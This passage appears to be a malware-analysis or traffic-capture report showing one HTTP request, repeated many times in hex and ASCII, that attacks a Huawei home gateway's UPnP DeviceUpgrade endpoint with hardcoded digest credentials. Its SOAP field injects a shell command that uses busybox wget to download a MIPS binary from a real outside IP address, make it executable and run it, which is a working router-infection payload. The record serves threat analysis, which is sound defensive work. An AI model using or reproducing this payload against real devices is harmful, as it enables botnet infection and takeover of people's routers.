73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 